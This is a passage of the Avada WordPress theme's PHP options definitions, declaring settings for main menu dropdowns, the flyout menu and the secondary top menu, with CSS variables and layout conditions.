'Avada' ), 'description' => esc_html__( 'Controls the top/bottom padding for dropdown menu items.', 'Avada' ), 'id' => 'mainmenu_dropdown_vertical_padding', 'default' => '12', 'type' => 'slider', 'choices' => [ 'min' => '0', 'max' => '50', 'step' => '1', ], 'class' => 'fusion-or-gutter', 'required' => [ [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], ], 'css_vars' => [ [ 'name' => '--mainmenu_dropdown_vertical_padding', 'value_pattern' => '$px', ], ], ], 'mainmenu_dropdown_display_divider' => [ 'label' => esc_html__( 'Main Menu Dropdown Divider', 'Avada' ), 'description' => esc_html__( 'Turn on to display a divider line on dropdown menu items.', 'Avada' ), 'id' => 'mainmenu_dropdown_display_divider', 'default' => '0', 'type' => 'switch', 'class' => 'fusion-or-gutter', 'required' => [ [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'true' ], 'element' => 'body', 'className' => 'avada-has-mainmenu-dropdown-divider', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'menu_display_dropdown_indicator' => [ 'label' => esc_html__( 'Main Menu Dropdown Indicator', 'Avada' ), 'description' => esc_html__( 'Turn on to display arrow indicators next to parent level menu items.', 'Avada' ), 'id' => 'menu_display_dropdown_indicator', 'default' => 'none', 'choices' => [ 'parent' => esc_html__( 'Parent', 'Avada' ), 'parent_child' => esc_html__( 'Parent + Child', 'Avada' ), 'none' => esc_html__( 'None', 'Avada' ), ], 'type' => 'radio-buttonset', 'class' => 'fusion-or-gutter', 'required' => [ [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], ], // Partial refresh for the header. 'partial_refresh' => [ 'header_menu_display_dropdown_indicator_remove_before_hook' => [ 'selector' => '.avada-hook-before-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'header_menu_display_dropdown_indicator_remove_after_hook' => [ 'selector' => '.avada-hook-after-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'header_menu_display_dropdown_indicator' => [ 'selector' => '.fusion-header-wrapper', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'header' ], 'success_trigger_event' => 'header-rendered', ], ], ], 'main_nav_search_icon' => [ 'label' => esc_html__( 'Main Menu Search Icon', 'Avada' ), 'description' => esc_html__( 'Turn on to display the search icon in the main menu.', 'Avada' ), 'id' => 'main_nav_search_icon', 'default' => '1', 'type' => 'switch', // Partial refresh for the header. 'partial_refresh' => [ 'header_main_nav_search_icon_remove_before_hook' => [ 'selector' => '.avada-hook-before-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'header_main_nav_search_icon_remove_after_hook' => [ 'selector' => '.avada-hook-after-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'header_main_nav_search_icon' => [ 'selector' => '.fusion-header-wrapper', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'header' ], 'success_trigger_event' => 'header-rendered', ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'true' ], 'element' => 'body', 'className' => 'avada-has-main-nav-search-icon', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'main_nav_search_layout' => [ 'label' => esc_html__( 'Main Menu Search Layout', 'Avada' ), 'description' => esc_html__( 'Controls the layout of the search bar in the main menu.', 'Avada' ), 'id' => 'main_nav_search_layout', 'default' => 'overlay', 'choices' => [ 'dropdown' => esc_html__( 'Drop-Down', 'Avada' ), 'overlay' => esc_html__( 'Menu Overlay', 'Avada' ), ], 'type' => 'radio-buttonset', 'required' => [ [ 'setting' => 'main_nav_search_icon', 'operator' => '==', 'value' => '1', ], [ 'setting' => 'header_position', 'operator' => '==', 'value' => 'top', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], ], 'partial_refresh' => [ 'main_nav_search_layout_refresh' => [ 'selector' => '.fusion-header-wrapper', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'header' ], 'success_trigger_event' => 'header-rendered', ], ], 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ 'dropdown', 'overlay' ], 'element' => 'body', 'className' => [ 'fusion-main-menu-search-dropdown', 'fusion-main-menu-search-overlay' ], ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'main_nav_icon_circle' => [ 'label' => esc_html__( 'Main Menu Icon Circle Borders', 'Avada' ), 'description' => esc_html__( 'Turn on to display a circle border on the cart and search icons.', 'Avada' ), 'id' => 'main_nav_icon_circle', 'default' => '0', 'type' => 'switch', 'output' => [ [ 'element' => 'helperElement', 'property' => 'dummy', 'callback' => [ 'toggle_class', [ 'condition' => [ '', 'true' ], 'element' => 'body', 'className' => 'fusion-has-main-nav-icon-circle', ], ], 'sanitize_callback' => '__return_empty_string', ], ], ], 'main_nav_highlight_radius' => [ 'label' => esc_html__( 'Menu Highlight Label Radius', 'Avada' ), 'description' => esc_html__( 'Controls the border radius of all your menu highlight labels.', 'Avada' ), 'id' => 'main_nav_highlight_radius', 'default' => '2px', 'type' => 'dimension', 'css_vars' => [ [ 'name' => '--main_nav_highlight_radius', 'element' => '.fusion-menu-highlight-label, .awb-menu__highlight', ], ], ], 'menu_sub_bg_color' => [ 'label' => esc_html__( 'Main Menu Dropdown Background Color', 'Avada' ), 'description' => esc_html__( 'Controls the background color of the main menu dropdown.', 'Avada' ), 'id' => 'menu_sub_bg_color', 'default' => 'var(--awb-color1)', 'type' => 'color-alpha', 'class' => 'fusion-or-gutter', 'required' => [ [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], ], 'css_vars' => [ [ 'name' => '--menu_sub_bg_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'menu_bg_hover_color' => [ 'label' => esc_html__( 'Main Menu Dropdown Background Hover Color', 'Avada' ), 'description' => esc_html__( 'Controls the background hover color of the main menu dropdown.', 'Avada' ), 'id' => 'menu_bg_hover_color', 'default' => 'var(--awb-color3)', 'type' => 'color-alpha', 'class' => 'fusion-or-gutter', 'required' => [ [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], ], 'css_vars' => [ [ 'name' => '--menu_bg_hover_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'menu_sub_sep_color' => [ 'label' => esc_html__( 'Main Menu Dropdown Separator Color', 'Avada' ), 'description' => esc_html__( 'Controls the color of the separators in the main menu dropdown.', 'Avada' ), 'id' => 'menu_sub_sep_color', 'default' => 'var(--awb-color3)', 'type' => 'color-alpha', 'class' => 'fusion-or-gutter', 'required' => [ [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], ], 'css_vars' => [ [ 'name' => '--menu_sub_sep_color', 'callback' => [ 'sanitize_color' ], ], ], 'output' => [ [ 'element' => [ '.fusion-main-menu .fusion-main-menu-search .fusion-custom-menu-item-contents', '.fusion-main-menu .fusion-main-menu-cart .fusion-custom-menu-item-contents', '.fusion-main-menu .fusion-menu-login-box .fusion-custom-menu-item-contents' ], 'property' => 'border', 'js_callback' => [ 'fusionReturnStringIfTransparent', [ 'transparent' => '0', 'opaque' => '', ], ], 'sanitize_callback' => [ 'Avada_Output_Callbacks', 'menu_sub_sep_color' ], ], ], ], 'menu_h45_bg_color' => [ 'label' => esc_html__( 'Main Menu Background Color For Header 4 & 5', 'Avada' ), 'description' => esc_html__( 'Controls the background color of the main menu when using header 4 or 5.', 'Avada' ), 'id' => 'menu_h45_bg_color', 'default' => 'var(--awb-color1)', 'type' => 'color-alpha', 'class' => 'fusion-or-gutter', 'required' => [ [ 'setting' => 'header_layout', 'operator' => '==', 'value' => 'v4', ], [ 'setting' => 'header_layout', 'operator' => '==', 'value' => 'v5', ], ], 'css_vars' => [ [ 'name' => '--menu_h45_bg_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'main_menu_typography_info' => [ 'label' => esc_html__( 'Main Menu Typography', 'Avada' ), 'description' => '', 'id' => 'main_menu_typography_info', 'type' => 'info', ], 'nav_typography' => [ 'id' => 'nav_typography', 'label' => esc_html__( 'Menus Typography', 'Avada' ), 'description' => esc_html__( 'These settings control the typography for all main menu top-level items.', 'Avada' ), 'type' => 'typography', 'global' => true, 'text_transform_no_inherit' => true, 'class' => 'avada-no-fontsize', 'choices' => [ 'font-family' => true, 'font-weight' => true, 'font-size' => true, 'letter-spacing' => true, 'color' => true, 'text-transform' => true, ], 'default' => [ 'font-family' => 'var(--awb-typography3-font-family)', 'font-weight' => '400', 'font-size' => 'var(--awb-typography3-font-size)', 'letter-spacing' => 'var(--awb-typography3-letter-spacing)', 'color' => 'var(--awb-color8)', 'text-transform' => 'none', ], 'css_vars' => [ [ 'name' => '--nav_typography-font-family', 'choice' => 'font-family', 'callback' => [ 'combined_font_family', 'nav_typography' ], ], [ 'name' => '--nav_typography-font-weight', 'choice' => 'font-weight', 'callback' => [ 'font_weight_no_regular', '' ], ], [ 'name' => '--nav_typography-font-size', 'choice' => 'font-size', ], [ 'name' => '--nav_typography-font-style', 'choice' => 'font-style', ], [ 'name' => '--nav_typography-letter-spacing', 'choice' => 'letter-spacing', 'callback' => [ 'maybe_append_px', '' ], ], [ 'name' => '--nav_typography-color', 'choice' => 'color', ], [ 'name' => '--nav_typography-color-65a', 'choice' => 'color', 'callback' => [ 'color_alpha_set', .65 ], ], [ 'name' => '--nav_typography-color-35a', 'choice' => 'color', 'callback' => [ 'color_alpha_set', .35 ], ], [ 'name' => '--nav_typography-text-transform', 'choice' => 'text-transform', ], ], ], 'menu_text_align' => [ 'label' => esc_html__( 'Main Menu Text Align', 'Avada' ), 'description' => esc_html__( 'Controls the main menu text alignment for top headers 4-5 and side headers.', 'Avada' ), 'id' => 'menu_text_align', 'default' => 'center', 'choices' => [ 'left' => esc_html__( 'Left', 'Avada' ), 'center' => esc_html__( 'Center', 'Avada' ), 'right' => esc_html__( 'Right', 'Avada' ), ], 'type' => 'radio-buttonset', 'class' => 'fusion-or-gutter', 'required' => [ [ 'setting' => 'header_layout', 'operator' => '==', 'value' => 'v4', ], [ 'setting' => 'header_layout', 'operator' => '==', 'value' => 'v5', ], [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], ], 'css_vars' => [ [ 'name' => '--menu_text_align', 'element' => '.fusion-main-menu', ], ], 'output' => [ ( class_exists( 'SitePress' ) ) ? [ 'element' => [ '#side-header .fusion-main-menu .wpml-ls-item > a', '#side-header .fusion-main-menu .wpml-ls-item .menu-text' ], 'property' => 'justify-content', 'value_pattern' => ( is_rtl() ) ? 'flex-end' : 'flex-start', 'exclude' => [ 'right', 'center' ], ] : [], ( class_exists( 'SitePress' ) ) ? [ 'element' => [ '#side-header .fusion-main-menu .wpml-ls-item > a', '#side-header .fusion-main-menu .wpml-ls-item .menu-text' ], 'property' => 'justify-content', 'value_pattern' => ( is_rtl() ) ? 'flex-start' : 'flex-end', 'exclude' => [ 'left', 'center' ], ] : [], [ 'element' => 'body', 'function' => 'attr', 'attr' => 'class', 'value_pattern' => 'menu-text-align-$', 'remove_attrs' => [ 'menu-text-align-left', 'menu-text-align-center', 'menu-text-align-right' ], ], ], // Partial refresh for the header. 'partial_refresh' => [ 'menu_text_align_header_remove_before_hook' => [ 'selector' => '.avada-hook-before-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'menu_text_align_header_remove_after_hook' => [ 'selector' => '.avada-hook-after-header-wrapper', 'container_inclusive' => true, 'render_callback' => '__return_null', ], 'menu_text_align_header' => [ 'selector' => '.fusion-header-wrapper', 'container_inclusive' => true, 'render_callback' => [ 'Avada_Partial_Refresh_Callbacks', 'header' ], 'success_trigger_event' => 'header-rendered', ], ], ], 'menu_hover_first_color' => [ 'label' => esc_html__( 'Main Menu Font Hover/Active Color', 'Avada' ), 'description' => esc_html__( 'Controls the color for main menu text hover and active states, highlight bar and dropdown border.', 'Avada' ), 'id' => 'menu_hover_first_color', 'default' => 'var(--awb-color4)', 'type' => 'color-alpha', 'css_vars' => [ [ 'name' => '--menu_hover_first_color', 'callback' => [ 'sanitize_color' ], ], [ 'name' => '--menu_hover_first_color-65a', 'callback' => [ 'color_alpha_set', '0.65' ], ], ], ], 'menu_sub_color' => [ 'label' => esc_html__( 'Main Menu Dropdown Font Color', 'Avada' ), 'description' => esc_html__( 'Controls the color for main menu dropdown text.', 'Avada' ), 'id' => 'menu_sub_color', 'default' => 'var(--awb-color8)', 'type' => 'color-alpha', 'class' => 'fusion-or-gutter', 'required' => [ [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], ], 'css_vars' => [ [ 'name' => '--menu_sub_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'nav_dropdown_font_size' => [ 'label' => esc_html__( 'Main Menu Dropdown Font Size', 'Avada' ), 'description' => esc_html__( 'Controls the font size for main menu dropdown text.', 'Avada' ), 'id' => 'nav_dropdown_font_size', 'default' => '14px', 'type' => 'dimension', 'choices' => [ 'units' => [ 'px', 'em' ], ], 'class' => 'fusion-or-gutter', 'required' => [ [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], ], 'css_vars' => [ [ 'name' => '--nav_dropdown_font_size', ], ], ], ], ], 'flyout_menu_subsection' => [ 'label' => esc_html__( 'Flyout Menu', 'Avada' ), 'id' => 'flyout_menu_subsection', 'type' => 'sub-section', 'hidden' => $has_global_header, 'fields' => [ 'flyout_menu_important_note_info' => ( '0' === Avada()->settings->get( 'dependencies_status' ) ) ? [] : [ 'label' => '', 'description' => '
' . __( 'IMPORTANT NOTE: Flyout Menu Options are only available when using Header Layout #6 or Mobile Flyout Menu. Your current setup does not utilize the flyout menu.', 'Avada' ) . '
', 'id' => 'flyout_menu_important_note_info', 'type' => 'custom', 'class' => 'fusion-gutter-and-or-and', 'required' => [ [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'mobile_menu_design', 'operator' => '!=', 'value' => 'flyout', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v6', ], [ 'setting' => 'mobile_menu_design', 'operator' => '!=', 'value' => 'flyout', ], ], ], 'flyout_menu_icon_font_size' => [ 'label' => esc_html__( 'Flyout Menu Icon Font Size', 'Avada' ), 'description' => esc_html__( 'Controls the font size for the flyout menu icons.', 'Avada' ), 'id' => 'flyout_menu_icon_font_size', 'default' => '20px', 'type' => 'dimension', 'class' => 'fusion-gutter-and-or', 'choices' => [ 'units' => [ 'px', 'em' ], ], 'required' => [ [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v6', ], [ 'setting' => 'header_position', 'operator' => '=', 'value' => 'top', ], [ 'setting' => 'mobile_menu_design', 'operator' => '=', 'value' => 'flyout', ], ], 'css_vars' => [ [ 'name' => '--flyout_menu_icon_font_size', ], [ 'name' => '--flyout_menu_icon_font_size_px', 'callback' => [ 'units_to_px' ], ], ], ], 'flyout_nav_icons_padding' => [ 'label' => esc_html__( 'Flyout Menu Icon Padding', 'Avada' ), 'description' => esc_html__( 'Controls the right padding for flyout menu icons (left on RTL).', 'Avada' ), 'id' => 'flyout_nav_icons_padding', 'default' => '32', 'type' => 'slider', 'class' => 'fusion-gutter-and-or', 'choices' => [ 'min' => '0', 'max' => '200', 'step' => '1', ], 'required' => [ [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v6', ], [ 'setting' => 'header_position', 'operator' => '=', 'value' => 'top', ], [ 'setting' => 'mobile_menu_design', 'operator' => '=', 'value' => 'flyout', ], ], 'css_vars' => [ [ 'name' => '--flyout_nav_icons_padding', 'element' => '.fusion-flyout-menu-icons', 'value_pattern' => '$px', ], ], ], 'flyout_menu_icon_color' => [ 'label' => esc_html__( 'Flyout Menu Icon Color', 'Avada' ), 'description' => esc_html__( 'Controls the color of the flyout menu icons.', 'Avada' ), 'id' => 'flyout_menu_icon_color', 'default' => 'var(--awb-color8)', 'type' => 'color-alpha', 'class' => 'fusion-gutter-and-or', 'required' => [ [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v6', ], [ 'setting' => 'header_position', 'operator' => '=', 'value' => 'top', ], [ 'setting' => 'mobile_menu_design', 'operator' => '=', 'value' => 'flyout', ], ], 'css_vars' => [ [ 'name' => '--flyout_menu_icon_color', 'element' => '.fusion-flyout-menu-icons', 'callback' => [ 'sanitize_color' ], ], ], ], 'flyout_menu_icon_hover_color' => [ 'label' => esc_html__( 'Flyout Menu Icon Hover Color', 'Avada' ), 'description' => esc_html__( 'Controls the hover color of the flyout menu icons.', 'Avada' ), 'id' => 'flyout_menu_icon_hover_color', 'default' => 'var(--awb-color4)', 'type' => 'color-alpha', 'class' => 'fusion-gutter-and-or', 'required' => [ [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v6', ], [ 'setting' => 'header_position', 'operator' => '=', 'value' => 'top', ], [ 'setting' => 'mobile_menu_design', 'operator' => '=', 'value' => 'flyout', ], ], 'css_vars' => [ [ 'name' => '--flyout_menu_icon_hover_color', 'element' => '.fusion-flyout-menu-icons', 'callback' => [ 'sanitize_color' ], ], ], ], 'flyout_menu_background_color' => [ 'label' => esc_html__( 'Flyout Menu Background Color', 'Avada' ), 'description' => esc_html__( 'Controls the background color of the flyout menu', 'Avada' ), 'id' => 'flyout_menu_background_color', 'default' => 'hsla(var(--awb-color1-h),var(--awb-color1-s),var(--awb-color1-l),calc(var(--awb-color1-a) - 6%))', 'type' => 'color-alpha', 'class' => 'fusion-gutter-and-or', 'required' => [ [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v6', ], [ 'setting' => 'header_position', 'operator' => '=', 'value' => 'top', ], [ 'setting' => 'mobile_menu_design', 'operator' => '=', 'value' => 'flyout', ], ], 'css_vars' => [ [ 'name' => '--flyout_menu_background_color', 'element' => '.fusion-flyout-menu-bg', 'callback' => [ 'sanitize_color' ], ], ], ], 'flyout_menu_direction' => [ 'label' => esc_html__( 'Flyout Menu Direction', 'Avada' ), 'description' => esc_html__( 'Controls the direction the flyout menu starts from.', 'Avada' ), 'id' => 'flyout_menu_direction', 'default' => 'fade', 'type' => 'select', 'class' => 'fusion-gutter-and-or', 'choices' => [ 'fade' => esc_html__( 'Fade', 'Avada' ), 'left' => esc_html__( 'Left', 'Avada' ), 'right' => esc_html__( 'Right', 'Avada' ), 'bottom' => esc_html__( 'Bottom', 'Avada' ), 'top' => esc_html__( 'Top', 'Avada' ), ], 'required' => [ [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v6', ], [ 'setting' => 'header_position', 'operator' => '=', 'value' => 'top', ], [ 'setting' => 'mobile_menu_design', 'operator' => '=', 'value' => 'flyout', ], ], 'output' => [ [ 'element' => '.fusion-logo-alignment', 'function' => 'attr', 'attr' => 'class', 'value_pattern' => 'avada-flyout-menu-direction-$', 'remove_attrs' => [ 'avada-flyout-menu-direction-fade', 'avada-flyout-menu-direction-left', 'avada-flyout-menu-direction-right', 'avada-flyout-menu-direction-bottom', 'avada-flyout-menu-direction-top' ], ], ], ], 'flyout_menu_item_padding' => [ 'label' => esc_html__( 'Flyout Menu Item Padding', 'Avada' ), 'description' => esc_html__( 'Controls the padding between flyout menu items.', 'Avada' ), 'id' => 'flyout_menu_item_padding', 'default' => '32', 'type' => 'slider', 'choices' => [ 'min' => '0', 'max' => '100', 'step' => '1', ], 'class' => 'fusion-gutter-and-or', 'required' => [ [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v6', ], [ 'setting' => 'header_position', 'operator' => '=', 'value' => 'top', ], [ 'setting' => 'mobile_menu_design', 'operator' => '=', 'value' => 'flyout', ], ], 'css_vars' => [ [ 'name' => '--flyout_menu_item_padding', 'element' => '.fusion-flyout-menu', 'value_pattern' => '$px', ], ], ], ], ], 'heading_secondary_top_menu' => [ 'label' => esc_html__( 'Secondary Top Menu', 'Avada' ), 'id' => 'heading_secondary_top_menu', 'priority' => 6, 'type' => 'sub-section', 'hidden' => $has_global_header, 'fields' => [ 'no_secondary_menu_note' => ( '0' === Avada()->settings->get( 'dependencies_status' ) ) ? [] : [ 'label' => '', 'description' => '
' . __( 'IMPORTANT NOTE: Secondary Top Menu Options are only available when using Header Layouts #2-5. Your current Header Layout does not utilize the secondary top menu.', 'Avada' ) . '
', 'id' => 'no_secondary_menu_note', 'type' => 'custom', 'required' => [ [ 'setting' => 'header_position', 'operator' => '==', 'value' => 'top', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v2', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v3', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v4', ], [ 'setting' => 'header_layout', 'operator' => '!=', 'value' => 'v5', ], ], ], 'topmenu_dropwdown_width' => [ 'label' => esc_html__( 'Secondary Menu Dropdown Width', 'Avada' ), 'description' => esc_html__( 'Controls the width of the secondary menu dropdown.', 'Avada' ), 'id' => 'topmenu_dropwdown_width', 'default' => '200', 'type' => 'slider', 'choices' => [ 'min' => '0', 'max' => '500', 'step' => '1', ], 'class' => 'fusion-or-gutter', 'required' => [ [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v2', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v3', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v4', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v5', ], ], 'css_vars' => [ [ 'name' => '--topmenu_dropwdown_width', 'element' => '.fusion-secondary-menu', 'value_pattern' => '$px', ], ], ], 'header_top_first_border_color' => [ 'label' => esc_html__( 'Secondary Menu Divider Color', 'Avada' ), 'description' => esc_html__( 'Controls the divider color of the first level secondary menu.', 'Avada' ), 'id' => 'header_top_first_border_color', 'default' => 'var(--awb-color6)', 'type' => 'color-alpha', 'class' => 'fusion-or-gutter', 'required' => [ [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v2', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v3', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v4', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v5', ], ], 'css_vars' => [ [ 'name' => '--header_top_first_border_color', 'element' => '.fusion-secondary-menu', 'callback' => [ 'sanitize_color' ], ], ], ], 'header_top_sub_bg_color' => [ 'label' => esc_html__( 'Secondary Menu Dropdown Background Color', 'Avada' ), 'description' => esc_html__( 'Controls the background color of the secondary menu dropdown.', 'Avada' ), 'id' => 'header_top_sub_bg_color', 'default' => 'var(--awb-color1)', 'type' => 'color-alpha', 'class' => 'fusion-or-gutter', 'required' => [ [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v2', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v3', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v4', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v5', ], ], 'css_vars' => [ [ 'name' => '--header_top_sub_bg_color', 'element' => '.fusion-secondary-menu', 'callback' => [ 'sanitize_color' ], ], ], ], 'header_top_menu_bg_hover_color' => [ 'label' => esc_html__( 'Secondary Menu Dropdown Background Hover Color', 'Avada' ), 'description' => esc_html__( 'Controls the background hover color of the secondary menu dropdown.', 'Avada' ), 'id' => 'header_top_menu_bg_hover_color', 'default' => 'var(--awb-color2)', 'type' => 'color-alpha', 'class' => 'fusion-or-gutter', 'required' => [ [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v2', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v3', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v4', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v5', ], ], 'css_vars' => [ [ 'name' => '--header_top_menu_bg_hover_color', 'element' => '.fusion-secondary-menu', 'callback' => [ 'sanitize_color' ], ], ], ], 'header_top_menu_sub_sep_color' => [ 'label' => esc_html__( 'Secondary Menu Dropdown Separator Color', 'Avada' ), 'description' => esc_html__( 'Controls the color of the separators in the secondary menu dropdown.', 'Avada' ), 'id' => 'header_top_menu_sub_sep_color', 'default' => 'var(--awb-color3)', 'type' => 'color-alpha', 'class' => 'fusion-or-gutter', 'required' => [ [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v2', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v3', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v4', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v5', ], ], 'css_vars' => [ [ 'name' => '--header_top_menu_sub_sep_color', 'element' => '.fusion-secondary-menu', 'callback' => [ 'sanitize_color' ], ], ], ], 'secondary_menu_typography_info' => [ 'label' => esc_html__( 'Secondary Top Menu Typography', 'Avada' ), 'id' => 'secondary_menu_typography_info', 'type' => 'info', 'class' => 'fusion-or-gutter', 'required' => [ [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v2', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v3', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v4', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v5', ], ], ], 'snav_font_size' => [ 'label' => esc_html__( 'Secondary Menu Font Size', 'Avada' ), 'description' => esc_html__( 'Controls the font size for secondary menu text.', 'Avada' ), 'id' => 'snav_font_size', 'default' => '12px', 'type' => 'dimension', 'choices' => [ 'units' => [ 'px', 'em' ], ], 'class' => 'fusion-or-gutter', 'required' => [ [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v2', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v3', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v4', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v5', ], ], 'css_vars' => [ [ 'name' => '--snav_font_size', ], ], ], 'sec_menu_lh' => [ 'label' => esc_html__( 'Secondary Menu Line Height', 'Avada' ), 'description' => esc_html__( 'Controls the line height for secondary menu.', 'Avada' ), 'id' => 'sec_menu_lh', 'default' => '48px', 'type' => 'dimension', 'choices' => [ 'units' => [ 'px', 'em' ], ], 'class' => 'fusion-or-gutter', 'required' => [ [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v2', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v3', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v4', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v5', ], ], 'css_vars' => [ [ 'name' => '--sec_menu_lh', ], [ 'name' => '--top-bar-height', 'element' => '.fusion-header', 'callback' => [ 'conditional_return_value', [ 'value_pattern' => [ 'calc($ / 2)', '21.5px' ], 'conditions' => [ [ 'sec_menu_lh', '>', '43' ], ], ], ], ], ], ], 'snav_color' => [ 'label' => esc_html__( 'Secondary Menu Font Color', 'Avada' ), 'description' => esc_html__( 'Controls the color for secondary menu text.', 'Avada' ), 'id' => 'snav_color', 'default' => 'var(--awb-color1)', 'type' => 'color-alpha', 'class' => 'fusion-or-gutter', 'required' => [ [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v2', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v3', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v4', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v5', ], ], 'css_vars' => [ [ 'name' => '--snav_color', 'element' => '.fusion-secondary-header', 'callback' => [ 'sanitize_color' ], ], ], ], 'header_top_menu_sub_color' => [ 'label' => esc_html__( 'Secondary Menu Dropdown Font Color', 'Avada' ), 'description' => esc_html__( 'Controls the color for secondary menu dropdown text.', 'Avada' ), 'id' => 'header_top_menu_sub_color', 'default' => 'var(--awb-color8)', 'type' => 'color-alpha', 'class' => 'fusion-or-gutter', 'required' => [ [ 'setting' => 'header_position', 'operator' => '!=', 'value' => 'top', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v2', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v3', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v4', ], [ 'setting' => 'header_layout', 'operator' => '=', 'value' => 'v5', ], ], 'css_vars' => [ [ 'name' => '--header_top_menu_sub_color', 'callback' => [ 'sanitize_color' ], ], ], ], 'header_top_menu_sub_hover_color' => [ 'label' => esc_html__( 'Secondary Menu Dropdown Font Hover Color', 'Avada' ), 'description' => esc_html__( 'Controls the hover color for 